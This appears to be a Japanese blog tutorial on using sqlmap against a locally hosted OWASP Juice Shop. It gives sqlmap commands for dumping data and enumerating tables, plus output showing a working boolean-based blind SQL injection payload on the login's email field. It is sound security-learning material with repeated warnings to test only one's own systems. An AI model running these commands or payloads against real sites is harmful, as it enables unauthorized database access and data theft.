sqlmapを用いてSQLインジェクションを体験する
DjangoCongressJP 2023で以下のトークを聞いて、久しぶりにセキュリティ熱が出てきたことから、SQLインジェクションについて調べていたところ、sqlmapというツールを見つけました。
sqlmapはオープンソースのSQLインジェクションに特化している侵入テストツールです。
今回は脆弱性を抱えるWebアプリケーションを構築して、そちらに対してsqlmapを使ってSQLインジェクションを体験してみます。
※ 今回はSQLインジェクションの学習のためのものであり、自分が管理するシステム以外に対しては決して実行しないでください。 サイト所有者の合意無しにsqlmap
を使ってペネトレーションテストをすることは止めてください。
sqlmapに対応しているDBは以下になります。メジャなーRDSであれば抑えられています。
- MySQL
- Oracle
- PostgreSQL
- Microsoft SQL Server
- Microsoft Access
- IBM DB2
- SQLite
- Firebird
- Sybase
- SAP MaxDB
OWASP Juice Shop
Juice Shop
という脆弱性をあえて抱えたWebアプリケーションのツールがあります。Dockerイメージとしても公開されており、簡単にローカル上に構築が可能になります。
今回はsqlmapを試すために、ローカルに構築したJuice Shop
を対象とします。
インストール方法としては以下になります。事前にDockerの環境をインストールしていることを前提とします。
以下のコマンドで3000番ポートにjuice-shop
が構築されます。
$ docker pull bkimminich/juice-shop
$ docker run --rm -p 3000:3000 bkimminich/juice-shop
上記のようにDockerコマンド単体でも構築ができますが、docker-compose
で構築したい事情があったため、docker-composeを用いて、juice-shop
をローカルに構築してみます。
version: "3"
services:
juice-shop:
image: bkimminich/juice-shop
restart: always
ports:
- 3000:3000
以下のコマンドでローカルにjuice-shop
のコンテナが立ち上がるはずです。
$ docker-compose up -d
今回は、Juice Shop
に対しては深掘りしません。詳細を知りたい方は以下の記事を見てみてください。
sqlmapの導入
次にsqlmapを導入します。以下のコマンドでgit cloneすることでダウンロードができます。
$ git clone https://github.com/sqlmapproject/sqlmap.git
$ cd sqlmap
$ python sqlmap.py --version
sqlmapの使い方
-u
はターゲットURLです。コマンドのオプションの詳細に関しては以下に載っています。
# GETメソッドの場合の例
$ python sqlmap.py -u "http://localhost:3000/rest/user/login?ID=1&PWD=2"
# POSTメソッドの場合の例
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2"
--dump
のオプションを指定することで、は解析結果を出力することもできます。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2" --dump
Juice Shopに対してSQLインジェクションを試す
Juice Shop
のログイン時に/rest/user/login
に対してPOSTリクエストを送っており、リクエストボディには以下を送っています。
{
"email":"user@example.com",
"password":"test"
}
ローカルでjuice shop
が動作するhttp://localhost:3000/rest/user/login
に対して、SQLインジェクションのペイロードを送ってみます。
コマンドは以下になります。--dbms=sqlite
は指定しなくても動作します。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data="email=user@example.com&password=test" --ignore-code=401 --dbms=sqlite
実行結果としては以下のようになります。email
パラメーターにboolean-basedのブラインドSQLインジェクションの脆弱性があることを検知されています。
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:29:06 /2023-10-22/
[15:29:06] [INFO] resuming back-end DBMS 'sqlite'
[15:29:06] [INFO] testing connection to the target URL
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: email (POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: email=user@example.com' OR NOT 7747=7747-- ANWq&password=test
---
[15:29:06] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[15:29:06] [WARNING] HTTP error codes detected during run:
401 (Unauthorized) - 1 times
[15:29:06] [INFO] fetched data logged to text files under '/Users/hogehoge/.local/share/sqlmap/output/localhost'
[*] ending @ 15:29:06 /2023-10-22/
ペイロードとしては、emailパラメーターにuser@example.com' OR NOT 7747=7747-- ANWq
を指定しています。
以下のオプションを指定するのも便利です。
-
--banner
: サイトが使用しているDBMSとバージョンを探る -
--random-agent
: User-Agent をランダムで生成します。 -
--batch
: 対話型オプションを全てデフォルトで進める。実行途中に何度かオプションを聞かれるため、--batch
を付けることで入力を省略します。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data "ID=1&PWD=2" --banner --random-agent --batch
テーブルの一覧を取得
sqlmap
の機能としては、--tables
を指定することでテーブルの一覧を取得することもできます。
$ python sqlmap.py -u "http://localhost:3000/rest/user/login" --data="email=user@example.com&password=test" --ignore-code=401 --dbms=sqlite --tables
<current>
[20 tables]
+-------------------+
| Addresses |
| BasketItems |
| Baskets |
| Captchas |
| Cards |
| Challenges |
| Complaints |
| Deliveries |
| Feedbacks |
| ImageCaptchas |
| Memories |
| PrivacyRequests |
| Products |
| Quantities |
| Recycles |
| SecurityAnswers |
| SecurityQuestions |
| Users |
| Wallets |
| sqlite_sequence |
+-------------------+
レベルとリスクの指定
sqlmap
で実行するレベルとリスクをカスタマイズすることができます。
--level
レベルは5段階で、デフォルトは1です。
レベルを上げるほど多数のペイロードどプレフィックス/サフィックスの組み合わせ
が試され、追加していきます。
- レベル2 : Cookie
- レベル3 : User-Agent
と
Referer`
--risk
リスクは3段階で、デフォルトは1です。
攻撃値の網羅性レベルのパラメーターです。
- レベル2 :
time-base SQL インジェクション
- レベル3 :
OR-base SQL インジェクション
まとめ
今回はSQLインジェクションの勉強のために、sqlmapを使用してみました。オプションもかなり豊富にあるため、全ては紹介しきれませんでしたが、オプション次第でいろんなSQLインジェクションのペネとレーションテストを試すことができます。
冒頭でも述べましたが、自分が管理するシステム以外に対しては決して実行しないでください。
Discussion